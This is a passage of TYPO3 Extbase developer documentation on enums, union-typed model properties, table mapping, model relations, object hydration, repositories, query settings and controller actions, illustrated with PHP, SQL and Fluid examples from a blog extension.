Implementing a method getLabel() enables you to use the same localization strings in both the Backend (see TCA) and the Frontend (see Fluid).

packages/my_extension/Configuration/TCA/tx_myextension_domain_model_paper.php
<?php

use MyVendor\MyExtension\Enum\Status;

return [
    // ...
    'columns' => [
        'status' => [
            'label' => 'Status',
            'config' => [
                'type' => 'select',
                'renderType' => 'selectSingle',
                'maxitems' => 1,
                'items' => [
                    [
                        'label' => Status::DRAFT->getLabel(),
                        'value' => Status::DRAFT->name,
                    ],
                    [
                        'label' => Status::IN_REVIEW->getLabel(),
                        'value' => Status::IN_REVIEW->name,
                    ],
                    [
                        'label' => Status::PUBLISHED->getLabel(),
                        'value' => Status::PUBLISHED->name,
                    ],
                ],
                'default' => Status::DRAFT->name,
            ],
        ],
    ],
];
Copied!

You can use the enums in TCA to display localized labels, for example.

packages/my_extension/Resources/Private/Templates/Paper/Show.html
<div class="status">
    <f:translate key="{paper.status.label}" default="Not Translated"/>
    [{paper.status.value}]
</div>
<f:variable name="draftStatus"><f:constant name="\MyVendor\MyExtension\Enum\Status::DRAFT"/></f:variable>
<f:switch expression="{paper.status.name}">
    <f:case value="{draftStatus.name}"></f:case>
</f:switch>
Copied!
packages/my_extension/Resources/Private/Languages/locallang.xlf
<?xml version="1.0" encoding="utf-8"?>
<xliff version="1.0" xmlns:t="x-gettext">
    <file source-language="en" datatype="plaintext" original="messages" date="2024-04-18T00:00:00Z">
        <header/>
        <body>
            <trans-unit id="status-draft">
                <source>Draft</source>
            </trans-unit>
            <trans-unit id="status-in-review">
                <source>In Review</source>
            </trans-unit>
            <trans-unit id="status-published">
                <source>Published</source>
            </trans-unit>
        </body>
    </file>
</xliff>
Copied!

An enum case can be used in Fluid by calling the enum built-in properties name and value or by using getters. Methods with a different naming scheme cannot be used directly in Fluid.

You can use the Constant ViewHelper <f:constant> to load a specific enum case into a variable to make comparisons or to create selectors.

Union types of Extbase model properties

Union types can be used in properties of an entity, for example:

EXT:my_extension/Classes/Domain/Model/Entity.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Model\MyEntity;

use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;
use TYPO3\CMS\Extbase\Persistence\Generic\LazyLoadingProxy;

class Entity extends AbstractEntity
{
    protected ChildEntity|LazyLoadingProxy $property;
}
Copied!

This is especially useful for lazy-loaded relations where the property type is ChildEntity|\TYPO3\CMS\Extbase\Persistence\Generic\LazyLoadingProxy.

There is something important to understand about how Extbase detects union types when it comes to property mapping, that is when a database row is mapped onto an object. In this situation Extbase needs to know the specific target type - no union, no intersection, just one type. In order to do the mapping, Extbase uses the first declared type as a primary type.

EXT:my_extension/Classes/Domain/Model/Entity.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Model\MyEntity;

use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;

class Entity extends AbstractEntity
{
    protected string|int $property;
}
Copied!

In the example above, string is the primary type. int|string would result in int as the primary type.

There is one important thing to note and one exception to this rule. First of all, null is not considered a type. null|string results in the primary type string which is nullable. null|string|int also results in the primary type string. In fact, null means that all other types are nullable. null|string|int boils down to ?string or ?int.

Secondly, LazyLoadingProxy is never detected as a primary type because it is just a proxy and, once loaded, not the actual target type.

EXT:my_extension/Classes/Domain/Model/Entity.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Model\MyEntity;

use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;
use TYPO3\CMS\Extbase\Persistence\Generic\LazyLoadingProxy;

class Entity extends AbstractEntity
{
    protected LazyLoadingProxy|ChildEntity $property;
}
Copied!

Extbase supports this and detects ChildEntity as the primary type, although LazyLoadingProxy is the first item in the list. However, it is recommended to place the actual type first for consistency reasons: ChildEntity|LazyLoadingProxy.

A final word on \TYPO3\CMS\Extbase\Persistence\Generic\LazyObjectStorage : it is a subclass of \TYPO3\CMS\Extbase\Persistence\ObjectStorage , therefore the following code works and has always worked:

EXT:my_extension/Classes/Domain/Model/Entity.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Model\MyEntity;

use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;
use TYPO3\CMS\Extbase\Persistence\ObjectStorage;

class Entity extends AbstractEntity
{
    /**
     * @var ObjectStorage<ChildEntity>
     * @TYPO3\CMS\Extbase\Annotation\ORM\Lazy
     */
    protected ObjectStorage $property;

    public function initializeObject(): void
    {
        $this->property = new ObjectStorage();
    }
}
Copied!

Persistence: Saving Extbase models to the database

It is possible to define models that are not persisted to the database. However, in the most common use cases you will want to save your model to the database and load it from there. If you want to extend an existing model you can also follow the steps on this page. See also Tutorial: Extending an Extbase model.

Connecting the model to the database

The SQL structure for the database needs to be defined in the file EXT:{ext_key}/ext_tables.sql. An Extbase model requires a valid TCA for the table that should be used as a base for the model. Therefore you have to create a TCA definition in file EXT:{ext_key}/Configuration/TCA/tx_{extkey}_domain_model_{mymodel}.php.

It is recommended to stick to the following naming scheme for the table:

Recommended naming scheme for table names
tx_{extkey}_domain_model_{mymodel}

tx_blogexample_domain_model_info
Copied!

The SQL table for the model can be defined like this:

EXT:blog_example/ext_tables.sql
CREATE TABLE tx_blogexample_domain_model_info (
  name varchar(255) DEFAULT '' NOT NULL,
  post int(11) DEFAULT '0' NOT NULL
);
Copied!

The according TCA definition could look like that:

EXT:blog_example/Configuration/TCA/tx_blogexample_domain_model_info.php
<?php

return [
    'ctrl' => [
        'title' => 'LLL:EXT:blog_example/Resources/Private/Language/locallang_db.xlf:tx_blogexample_domain_model_info',
        'label' => 'name',
        'tstamp' => 'tstamp',
        'crdate' => 'crdate',
        'versioningWS' => true,
        'transOrigPointerField' => 'l10n_parent',
        'transOrigDiffSourceField' => 'l10n_diffsource',
        'languageField' => 'sys_language_uid',
        'translationSource' => 'l10n_source',
        'origUid' => 't3_origuid',
        'delete' => 'deleted',
        'sortby' => 'sorting',
        'enablecolumns' => [
            'disabled' => 'hidden',
        ],
        'iconfile' => 'EXT:blog_example/Resources/Public/Icons/icon_tx_blogexample_domain_model_tag.gif',
    ],
    'columns' => [
        'name' => [
            'label' => 'LLL:EXT:blog_example/Resources/Private/Language/locallang_db.xlf:tx_blogexample_domain_model_info.name',
            'config' => [
                'type' => 'input',
                'size' => 20,
                'eval' => 'trim',
                'required' => true,
                'max' => 256,
            ],
        ],
        'bodytext' => [
            'label' => 'LLL:EXT:blog_example/Resources/Private/Language/locallang_db.xlf:tx_blogexample_domain_model_info.bodytext',
            'config' => [
                'type' => 'text',
                'enableRichtext' => true,
            ],
        ],
        'post' => [
            'config' => [
                'type' => 'passthrough',
            ],
        ],
    ],
    'types' => [
        0 => ['showitem' => '
                --div--;LLL:EXT:core/Resources/Private/Language/Form/locallang_tabs.xlf:general,
                    name, bodytext,
                --div--;LLL:EXT:core/Resources/Private/Language/Form/locallang_tabs.xlf:access,
                    hidden,
                --div--;LLL:EXT:core/Resources/Private/Language/Form/locallang_tabs.xlf:language,
                    --palette--;;paletteLanguage,
                --div--;LLL:EXT:core/Resources/Private/Language/Form/locallang_tabs.xlf:extended,
        '],
    ],
    'palettes' => [
        'paletteLanguage' => [
            'showitem' => 'sys_language_uid, l10n_parent',
        ],
    ],
];
Copied!

Use arbitrary database tables with an Extbase model

It is possible to use tables that do not convey to the naming scheme mentioned in the last section. In this case you have to define the connection between the database table and the file EXT:{ext_key}/Configuration/Extbase/Persistence/Classes.php.

In the following example, the table fe_users provided by the system extension frontend is used as persistence table for the model Administrator. Additionally the table fe_groups is used to persist the model FrontendUserGroup.

EXT:blog_example/Configuration/Extbase/Persistence/Classes.php
<?php

declare(strict_types=1);

use T3docs\BlogExample\Domain\Model\Administrator;
use T3docs\BlogExample\Domain\Model\Blog;
use T3docs\BlogExample\Domain\Model\FrontendUserGroup;
use T3docs\BlogExample\Domain\Model\Post;

return [
    Administrator::class => [
        'tableName' => 'fe_users',
        'recordType' => Administrator::class,
        'properties' => [
            'administratorName' => [
                'fieldName' => 'username',
            ],
        ],
    ],
    FrontendUserGroup::class => [
        'tableName' => 'fe_groups',
    ],
    Blog::class => [
        'tableName' => 'tx_blogexample_domain_model_blog',
        'properties' => [
            'categories' => [
                'fieldName' => 'category',
            ],
        ],
    ],
    Post::class => [
        'tableName' => 'tx_blogexample_domain_model_post',
        'properties' => [
            'categories' => [
                'fieldName' => 'category',
            ],
        ],
    ],
];
Copied!

The key recordType makes sure that the defined model is only used if the type of the record is set to \FriendsOfTYPO3\BlogExample\Domain\Model\Administrator. This way the class will only be used for administrators but not plain frontend users.

The array stored in properties to match properties to database field names if the names do not match.

Record types and persistence

It is possible to use different models for the same database table.

A common use case are related domain objects that share common features and should be handled by hierarchical model classes.

In this case the type of the model is stored in a field in the table, commonly in a field called record_type. This field is then registered as type field in the ctrl section of the TCA array:

EXT:my_extension/Configuration/TCA/tx_myextension_domain_model_something.php
return [
    'ctrl' => [
        'title' => 'Something',
        'label' => 'title',
        'type' => 'record_type',
        // …
    ],
];
Copied!

The relationship between record type and preferred model is then configured in the Configuration/Extbase/Persistence/Classes.php file.

EXT:my_extension/Configuration/Extbase/Persistence/Classes.php
return [
    \MyVendor\MyExtension\Domain\Model\Something::class => [
        'tableName' => 'tx_myextension_domain_model_party',
        'recordType' => 'something',
        'subclasses' => [
            'oneSubClass' => \MyVendor\MyExtension\Domain\Model\SubClass1::class,
            'anotherSubClass' => MyVendor\MyExtension\Domain\Model\SubClass2::class,
        ],
    ],
];
Copied!

It is then possible to have a general repository, SomethingRepository which returns both SubClass1 and SubClass2 objects depending on the value of the record_type field. This way related domain objects can as one in some contexts.

Create a custom model for a Core table

This example adds a custom model for the tt_content table. Three steps are required:

  1. Create a model

    In this example, we assume that we need the two fields header and bodytext, so only these two fields are available in the model class.

    EXT:my_extension/Classes/Domain/Model/Content.php
    <?php
    
    declare(strict_types=1);
    
    namespace MyVendor\MyExtension\Domain\Model;
    
    use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;
    
    class Content extends AbstractEntity
    {
        protected string $header = '';
        protected string $bodytext = '';
    
        public function getHeader(): string
        {
            return $this->header;
        }
    
        public function setHeader(string $header): void
        {
            $this->header = $header;
        }
    
        public function getBodytext(): string
        {
            return $this->bodytext;
        }
    
        public function setBodytext(string $bodytext): void
        {
            $this->bodytext = $bodytext;
        }
    }
    
    Copied!
  2. Create the repository

    We need a repository to query the data from the table:

    EXT:my_extension/Classes/Domain/Repository/ContentRepository.php
    <?php
    
    declare(strict_types=1);
    
    namespace MyVendor\MyExtension\Domain\Repository;
    
    use TYPO3\CMS\Extbase\Persistence\Repository;
    
    final class ContentRepository extends Repository {}
    
    Copied!
  3. Connect table with model

    Finally, we need to connect the table to the model:

    EXT:my_extension/Configuration/Extbase/Persistence/Classes.php
    <?php
    
    declare(strict_types=1);
    
    return [
        \MyVendor\MyExtension\Domain\Model\Content::class => [
            'tableName' => 'tt_content',
        ],
    ];
    
    Copied!

Relations between Extbase models

Extbase supports different types of hierarchical relationships between domain objects. All relationships can be defined unidirectional or multidimensional in the model.

On the side of the relationship that can only have one counterpart, you must decide whether it is possible to have no relationship (allow null) or not.

Nullable relations

There are two ways to allow null for a property in PHP:

  • Mark the type declaration as nullable by prefixing the type name with a question mark:

    Example for a nullable property
    protected ?Person $secondAuthor = null;
    Copied!
  • Use a union type:

    Example for a union type of null and Person
    protected Person|null $secondAuthor = null;
    Copied!

Both declarations have the same meaning.

1:1-relationship

A blog post can have, in our case, exactly one additional info attached to it. The info always belongs to exactly one blog post. If the blog post gets deleted, the info does get related.

Class T3docs\BlogExample\Domain\Model\Post
class Post extends AbstractEntity implements \Stringable
{
    /**
     * 1:1 optional relation
     */
    protected ?Info $additionalInfo = null;

    public function getAdditionalInfo(): ?Info
    {
        return $this->additionalInfo;
    }

    public function setAdditionalInfo(?Info $additionalInfo): void
    {
        $this->additionalInfo = $additionalInfo;
    }
}
Copied!

1:n-relationship

A blog can have multiple posts in it. If a blog is deleted all of its posts should be deleted. However a blog might get displayed without displaying the posts therefore we load the posts of a blog lazily:

Class T3docs\BlogExample\Domain\Model\Blog
use TYPO3\CMS\Extbase\Persistence\ObjectStorage;

class Blog extends AbstractEntity
{
    /**
     * @var ?ObjectStorage<Post>
     */
    public ?ObjectStorage $posts = null;

    /**
     * Adds a post to this blog
     */
    public function addPost(Post $post): void
    {
        $this->posts?->attach($post);
    }

    /**
     * Remove a post from this blog
     */
    public function removePost(Post $postToRemove): void
    {
        $this->posts?->detach($postToRemove);
    }

    /**
     * Returns all posts in this blog
     *
     * @return ObjectStorage<Post>
     */
    public function getPosts(): ObjectStorage
    {
        return $this->posts;
    }

    /**
     * @param ObjectStorage<Post> $posts
     */
    public function setPosts(ObjectStorage $posts): void
    {
        $this->posts = $posts;
    }
}
Copied!

Each post belongs to exactly one blog, of course a blog does not get deleted when one of its posts gets deleted.

Class T3docs\BlogExample\Domain\Model\Post
class Post extends AbstractEntity implements \Stringable
{
    protected ?Blog $blog = null;
}
Copied!

A post can also have multiple comments and each comment belongs to exactly one blog. However we never display a comment without its post therefore we do not need to store information about the post in the comment's model: The relationship is unidirectional.

Class T3docs\BlogExample\Domain\Model\Post
use TYPO3\CMS\Extbase\Persistence\ObjectStorage;

class Post extends AbstractEntity implements \Stringable
{
    /**
     * @var ?ObjectStorage<Comment>
     */
    public ?ObjectStorage $comments = null;
}
Copied!

The model of the comment has no property to get the blog post in this case.

n:1-relationships

n:1-relationships are the same like 1:n-relationsships but from the perspective of the object:

Each post has exactly one main author but an author can write several blog posts or none at all. He can also be a second author and no main author.

EXT:blog_example/Classes/Domain/Model/Post.php
class Post extends AbstractEntity
{
    /**
     * @var Person
     */
    protected Person $author;

    protected Person|null $secondAuthor;
}
Copied!

Once more the model of the author does not have a property containing the authors posts. If you would want to get all posts of an author you would have to make a query in the PostRepository taking one or both relationships (first author, second author) into account.

m:n-relationship

A blog post can have multiple categories, each category can belong to multiple blog posts.

Class T3docs\BlogExample\Domain\Model\Post
class Post extends AbstractEntity implements \Stringable
{
    /**
     * @var Person
     */
    protected ?Person $author = null;

    protected ?Person $secondAuthor = null;
}
Copied!

Eager loading and lazy loading

By default, Extbase loads all child objects with the parent object (so for example, all posts of a blog). This behavior is called eager loading. The annotation @TYPO3\CMS\Extbase\Annotation\ORM\Lazy causes Extbase to load and build the objects only when they are actually needed (lazy loading). This can lead to a significant increase in performance.

On cascade remove

The annotation @TYPO3\CMS\Extbase\Annotation\ORM\Cascade("remove") has the effect that, if a blog is deleted, its posts will also be deleted immediately. Extbase usually leaves all child objects' persistence unchanged.

Besides these two, there are a few more annotations available, which will be used in other contexts. For the complete list of all Extbase supported annotations, see the chapter Annotations in Extbase.

Hydrating / Thawing objects of Extbase models

Hydrating (the term originates from doctrine/orm), or in Extbase terms thawing, is the act of creating an object from a given database row. The responsible class involved is the \TYPO3\CMS\Extbase\Persistence\Generic\Mapper\DataMapper . During the process of hydrating, the DataMapper creates objects to map the raw database data onto.

Before diving into the framework internals, let us take a look at models from the user's perspective.

Creating model objects with constructor arguments

Imagine you have a table tx_extension_domain_codesnippets_blog and a corresponding model or entity (entity is used as a synonym here) \MyVendor\MyExtension\Domain\Model\Blog.

Now, also imagine there is a domain rule which states, that all blogs must have a title. This rule can easily be followed by letting the blog class have a constructor with a required argument string $title.

EXT:my_extension/Classes/Domain/Model/Blog.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Model;

use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;
use TYPO3\CMS\Extbase\Persistence\ObjectStorage;

class Blog extends AbstractEntity
{
    protected ObjectStorage $posts;

    public function __construct(protected string $title)
    {
        // Property "posts" is not initialized on thawing / fetching from database!!
        // Must be initialized in initializeObject()!!
        $this->posts = new ObjectStorage();
    }
}
Copied!

This example also shows how the posts property is initialized. It is done in the constructor because PHP does not allow setting a default value that is of type object.

Hydrating objects with constructor arguments

Whenever the user creates new blog objects in extension code, the aforementioned domain rule is followed. It is also possible to work on the posts ObjectStorage without further initialization. new Blog('title') is all one need to create a blog object with a valid state.

What happens in the DataMapper however, is a totally different thing. When hydrating an object, the DataMapper cannot follow any domain rules. Its only job is to map the raw database values onto a Blog instance. The DataMapper could of course detect constructor arguments and try to guess which argument corresponds to what property, but only if there is an easy mapping, that means, if the constructor takes the argument string $title and updates the property title with it.

To avoid possible errors due to guessing, the DataMapper simply ignores the constructor at all. It does so with the help of the library doctrine/instantiator.

But there is more to all this.

Initializing objects

Have a look at the $posts property in the example above. If the DataMapper ignores the constructor, that property is in an invalid state, that means, uninitialized.

To address this problem and possible others, the DataMapper will call the method initializeObject(): void on models, if it exists.

Here is an updated version of the model:

EXT:my_extension/Classes/Domain/Model/Blog.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Model;

use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;
use TYPO3\CMS\Extbase\Persistence\ObjectStorage;

class Blog extends AbstractEntity
{
    protected ObjectStorage $posts;

    public function __construct(protected string $title)
    {
        $this->initializeObject();
    }

    public function initializeObject(): void
    {
        $this->posts = new ObjectStorage();
    }
}
Copied!

This example demonstrates how Extbase expects the user to set up their models. If the method initializeObject() is used for initialization logic that needs to be triggered on initial creation and on hydration. Please mind that __construct() should call initializeObject().

If there are no domain rules to follow, the recommended way to set up a model would then still be to define a __construct() and initializeObject() method like this:

EXT:my_extension/Classes/Domain/Model/Blog.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Model;

use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;
use TYPO3\CMS\Extbase\Persistence\ObjectStorage;

class Blog extends AbstractEntity
{
    protected ObjectStorage $posts;

    public function __construct()
    {
        $this->initializeObject();
    }

    public function initializeObject(): void
    {
        $this->posts = new ObjectStorage();
    }
}
Copied!

Mutating objects

Some few more words on mutators (setter, adder, etc.). One might think that DataMapper uses mutators during object hydration but it does not. Mutators are the only way for the user (developer) to implement business rules besides using the constructor.

The DataMapper uses the internal method AbstractDomainObject::_setProperty() to update object properties. This looks a bit dirty and is a way around all business rules but that is what the DataMapper needs in order to leave the mutators to the users.

Property visibility

One important thing to know is that Extbase needs entity properties to be protected or public. As written in the former paragraph, AbstractDomainObject::_setProperty() is used to bypass setters. However, AbstractDomainObject is not able to access private properties of child classes, hence the need to have protected or public properties.

Dependency injection

Without digging too deep into dependency injection the following statements have to be made:

  • Extbase expects entities to be so-called prototypes, that means classes that do have a different state per instance.
  • DataMapper does not use dependency injection for the creation of entities, that means it does not query the object container. This also means, that dependency injection is not possible in entities.

If you think that your entities need to use/access services, you need to find other ways to implement it.

Using an event when a object is thawed

The PSR-14 event AfterObjectThawedEvent is available to modify values when creating domain objects.

Localization of Extbase models

Identifiers in localized models

Domain models have a main identifier uid and an additional property _localizedUid.

Depending on whether the languageOverlayMode mode is enabled ( true or 'hideNonTranslated') or disabled ( false), the identifier contains different values.

When languageOverlayMode is enabled, then the uid property contains the uid value of the default language record, the uid of the translated record is kept in the _localizedUid.

Context Record in language 0 Translated record
Database uid:2 uid:11, l10n_parent:2
Domain object values with languageOverlayMode enabled uid:2, _localizedUid:2 uid:2, _localizedUid:11
Domain object values with languageOverlayMode disabled uid:2, _localizedUid:2 uid:11, _localizedUid:11

Repository

All Extbase repositories inherit from \TYPO3\CMS\Extbase\Persistence\Repository .

A repository is always responsible for precisely one type of domain object.

The naming of the repositories is important: If the domain object is, for example, Blog (with full name \FriendsOfTYPO3\BlogExample\Domain\Model\Blog), then the corresponding repository is named BlogRepository (with the full name \FriendsOfTYPO3\BlogExample\Domain\Repository\BlogRepository).

The \TYPO3\CMS\Extbase\Persistence\Repository already offers a large number of useful functions. Therefore, in simple classes that extend the Repository class and leaving the class empty otherwise is sufficient.

The BlogRepository sets some default orderings and is otherwise empty:

Class T3docs\BlogExample\Domain\Repository\BlogRepository
class BlogRepository extends Repository
{

}
Copied!

Find methods

Changed in version 14.0

The "magic" find methods findByX(), findOneByX() and countByX() have been removed. See Migration

The (not-magic) methods findByUid() and findByIdentifier() have not been deprecated or removed, and are still valid.

Using these methods will fetch a given domain object by it's UID, ignoring possible storage page settings - unlike findBy([...]), which does respect those settings.

The Repository class provides the following methods for querying against arbitrary criteria:

findBy(array $criteria, array $orderBy = null, int $limit = null, int $offset = null): QueryResultInterface
Finds all objects with the provided criteria.
findOneBy(array $criteria, array $orderBy = null): object|null
Returns the first object found with the provided criteria.
count(array $criteria): int
Counts all objects with the provided criteria.

Example:

$this->blogRepository->findBy(['author' => 1, 'published' => true]);
Copied!

Custom find methods

Custom find methods can be implemented. They can be used for complex queries.

Example:

The PostRepository of the t3docs/blog-example example extension implements several custom find methods, two of them are shown below:

Class T3docs\BlogExample\Domain\Repository\PostRepository
use T3docs\BlogExample\Domain\Model\Blog;
use TYPO3\CMS\Extbase\Persistence\QueryInterface;
use TYPO3\CMS\Extbase\Persistence\QueryResultInterface;

class PostRepository extends Repository
{
    public function findByTagAndBlog(
        string $tag,
        Blog $blog,
    ): QueryResultInterface {
        $query = $this->createQuery();
        return $query
            ->matching(
                $query->logicalAnd(
                    $query->equals('blog', $blog),
                    $query->equals('tags.name', $tag),
                ),
            )
            ->execute();
    }

    public function findAllSortedByCategory(array $uids): QueryResultInterface
    {
        $q = $this->createQuery();
        $q->matching($q->in('uid', $uids));
        $q->setOrderings([
            'categories.title' => QueryInterface::ORDER_ASCENDING,
            'uid' => QueryInterface::ORDER_ASCENDING,
        ]);
        return $q->execute();
    }
}
Copied!

Query settings

If the query settings should be used for all methods in the repository, they should be set in the method initializeObject() method.

Class T3docs\BlogExample\Domain\Repository\CommentRepository
class CommentRepository extends Repository
{
    public function initializeObject(): void
    {
        $querySettings = $this->createQuery()->getQuerySettings();
        // Show comments from all pages
        $querySettings->setRespectStoragePage(false);
        $this->setDefaultQuerySettings($querySettings);
    }
}
Copied!

If you only want to change the query settings for a specific method, they can be set in the method itself:

Class T3docs\BlogExample\Domain\Repository\CommentRepository
use TYPO3\CMS\Extbase\Persistence\QueryResultInterface;

class CommentRepository extends Repository
{
    public function findAllIgnoreEnableFields(): QueryResultInterface
    {
        $query = $this->createQuery();
        $query->getQuerySettings()->setIgnoreEnableFields(true);
        return $query->execute();
    }
}
Copied!

Repository API

class Repository
Fully qualified name
\TYPO3\CMS\Extbase\Persistence\Repository

The base repository - will usually be extended by a more concrete repository.

injectPersistenceManager ( \TYPO3\CMS\Extbase\Persistence\PersistenceManagerInterface $persistenceManager)
param $persistenceManager

the persistenceManager

injectEventDispatcher ( \Psr\EventDispatcher\EventDispatcherInterface $eventDispatcher)
param $eventDispatcher

the eventDispatcher

injectFeatures ( \TYPO3\CMS\Core\Configuration\Features $features)
param $features

the features

add ( ?object $object)

Adds an object to this repository

param $object

The object to add

remove ( ?object $object)

Removes an object from this repository.

param $object

The object to remove

update ( ?object $modifiedObject)

Replaces an existing object with the same identifier by the given object

param $modifiedObject

The modified object

findAll ( )

Returns all objects of this repository.

Returns
\QueryResultInterface|array
countAll ( )

Returns the total number objects of this repository.

Return description

The object count

Returns
int
removeAll ( )

Removes all objects of this repository as if remove() was called for all of them.

findByUid ( ?int $uid)

Finds an object matching the given identifier.

param $uid

The identifier of the object to find

Return description

The matching object if found, otherwise NULL

Returns
object|null
findByIdentifier ( ?mixed $identifier)

Finds an object matching the given identifier.

param $identifier

The identifier of the object to find

Return description

The matching object if found, otherwise NULL

Returns
object|null
setDefaultOrderings ( array $defaultOrderings)

Sets the property names to order the result by per default.

Expected like this: array( 'foo' => TYPO3CMSExtbasePersistenceQueryInterface::ORDER_ASCENDING, 'bar' => TYPO3CMSExtbasePersistenceQueryInterface::ORDER_DESCENDING )

param $defaultOrderings

The property names to order by

setDefaultQuerySettings ( \TYPO3\CMS\Extbase\Persistence\Generic\QuerySettingsInterface $defaultQuerySettings)

Sets the default query settings to be used in this repository.

A typical use case is an initializeObject() method that creates a QuerySettingsInterface object, configures it and sets it to be used for all queries created by the repository.

Warning: Using this setter fully overrides native query settings created by QueryFactory->create(). This especially means that storagePid settings from configuration are not applied anymore, if not explicitly set. Make sure to apply these to your own QuerySettingsInterface object if needed, when using this method.

param $defaultQuerySettings

the defaultQuerySettings

createQuery ( )

Returns a query for objects of this repository

Returns
\QueryInterface
findBy ( array $criteria, ?array $orderBy = NULL, ?int $limit = NULL, ?int $offset = NULL)
param $criteria

the criteria

param $orderBy

the orderBy, default: NULL

param $limit

the limit, default: NULL

param $offset

the offset, default: NULL

Returns
\QueryResultInterface
findOneBy ( array $criteria, ?array $orderBy = NULL)
param $criteria

the criteria

param $orderBy

the orderBy, default: NULL

Returns
?object
count ( array $criteria)
param $criteria

the criteria

Returns
int

Typo3QuerySettings and localization

Extbase renders the translated records in the same way as TypoScript rendering.

The following methods can be used to set and get the language aspect from any \TYPO3\CMS\Extbase\Persistence\Generic\QuerySettingsInterface :

  • QuerySettingsInterface::getLanguageAspect(): LanguageAspect
  • QuerySettingsInterface::setLanguageAspect(LanguageAspect $aspect)

You can specify a custom language aspect per query as defined in the query settings in any repository class:

Example to use the fallback to the default language when working with overlays:

EXT:my_extension/Classes/Repository/MyRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Context\LanguageAspect;
use TYPO3\CMS\Extbase\Persistence\Repository;

final class MyRepository extends Repository
{
    public function findSomethingByLanguage(int $languageId, int $contentId)
    {
        $query = $this->createQuery();
        $query->getQuerySettings()->setLanguageAspect(
            new LanguageAspect(
                $languageId,
                $contentId,
                LanguageAspect::OVERLAYS_MIXED,
            ),
        );
        // query something
    }
}
Copied!

Debugging an Extbase query

When using complex queries in Extbase repositories it sometimes comes handy to debug them using the Extbase debug utilities.

EXT:my_extension/Classes/Repository/MyRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Extbase\Persistence\Generic\Storage\Typo3DbQueryParser;
use TYPO3\CMS\Extbase\Persistence\QueryResultInterface;
use TYPO3\CMS\Extbase\Persistence\Repository;
use TYPO3\CMS\Extbase\Utility\DebuggerUtility;

final class MyRepository extends Repository
{
    public function findBySomething(string $something, bool $debugOn = false): QueryResultInterface
    {
        $query = $this->createQuery();
        $query = $query->matching($query->equals('some_field', $something));

        if ($debugOn) {
            $typo3DbQueryParser = GeneralUtility::makeInstance(Typo3DbQueryParser::class);
            $queryBuilder = $typo3DbQueryParser->convertQueryToDoctrineQueryBuilder($query);
            DebuggerUtility::var_dump($queryBuilder->getSQL());
            DebuggerUtility::var_dump($queryBuilder->getParameters());
        }

        return $query->execute();
    }
}
Copied!

Please note that \TYPO3\CMS\Extbase\Persistence\Generic\Storage\Typo3DbQueryParser is marked as @internal and subject to unannounced changes.

Extending the ActionController

Most Extbase controllers are based on the \TYPO3\CMS\Extbase\Mvc\Controller\ActionController . It is theoretically possible to base a controller directly on the \TYPO3\CMS\Extbase\Mvc\Controller\ControllerInterface , however there are rarely use cases for that. Implementing the ControllerInterface does not guarantee a controller to be dispatchable. It is not recommended to base your controller directly on the ControllerInterface.

Actions

Most public and protected methods that end in "Action" (for example indexAction() or showAction()), are automatically registered as actions of the controller.

Controller actions must return an instance of the \Psr\Http\Message\ResponseInterface .

Many of these actions have parameters. You should use strong types for the parameters as this is necessary for the validation.

Class T3docs\BlogExample\Controller\BlogController
use Psr\Http\Message\ResponseInterface;
use T3docs\BlogExample\Domain\Model\Blog;

class BlogController extends AbstractController
{
    /**
     * Displays a form for creating a new blog
     */
    public function newAction(?Blog $newBlog = null): ResponseInterface
    {
        $this->view->assignMultiple([
            'newBlog' => $newBlog,
            'administrators' => $this->administratorRepository->findAll(),
        ]);
        return $this->htmlResponse();
    }
}
Copied!

The validation of domain object can be explicitly disabled by the annotation @TYPO3\CMS\Extbase\Annotation\IgnoreValidation. This might be necessary in actions that show forms or create domain objects.

Default values can, as usual in PHP, just be indicated in the method signature. In the above case, the default value of the parameter $newBlog is set to NULL.

If the action should render the view you can return $this->htmlResponse() as a shortcut for taking care of creating the response yourself.

In order to redirect to another action, return $this->redirect('another'):

Class T3docs\BlogExample\Controller\BlogController
use Psr\Http\Message\ResponseInterface;
use T3docs\BlogExample\Domain\Model\Blog;
use T3docs\BlogExample\Exception\NoBlogAdminAccessException;

class BlogController extends AbstractController
{
    /**
     * Updates an existing blog
     *
     * $blog is a not yet persisted clone of the original blog containing
     * the modifications
     *
     * @throws NoBlogAdminAccessException
     */
    public function updateAction(Blog $blog): ResponseInterface
    {
        $this->checkBlogAdminAccess();
        $this->blogRepository->update($blog);
        $this->addFlashMessage('updated');
        return $this->redirect('index');
    }
}
Copied!

If an exception is thrown while an action is executed you will receive the "Oops an error occurred" screen on a production system or a stack trace on a development system with activated debugging.

Define initialization code

Sometimes it is necessary to execute code before calling an action. For example, if complex arguments must be registered, or required classes must be instantiated.

There is a generic initialization method called initializeAction(), which is called after the registration of arguments, but before calling the appropriate action method itself. After the generic initializeAction(), if it exists, a method named initialize[ActionName](), for example initializeShowAction is called.

In this method you can perform action specific initializations.

In the backend controller of the blog example the method initializeAction() is used to discover the page that is currently activated in the page tree and save it in a variable:

Class T3docs\BlogExample\Controller\BackendController
class BackendController extends ActionController
{
    protected function initializeAction(): void
    {
        $this->pageUid = (int)($this->request->getQueryParams()['id'] ?? 0);
    }
}
Copied!

Catching validation errors with errorAction

If an argument validation error has occurred, the method errorAction() is called.

The default implementation sets a flash message, error response with HTTP status 400 and forwards back to the originating action.

This is suitable for most actions dealing with form input.

If you need a to handle errors differently this method can be overridden.

Forward to a different controller

It is possible to forward from one controller action to an action of the same or a different controller. This is even possible if the controller is in another extension.

This can be done by returning a \TYPO3\CMS\Extbase\Http\ForwardResponse .
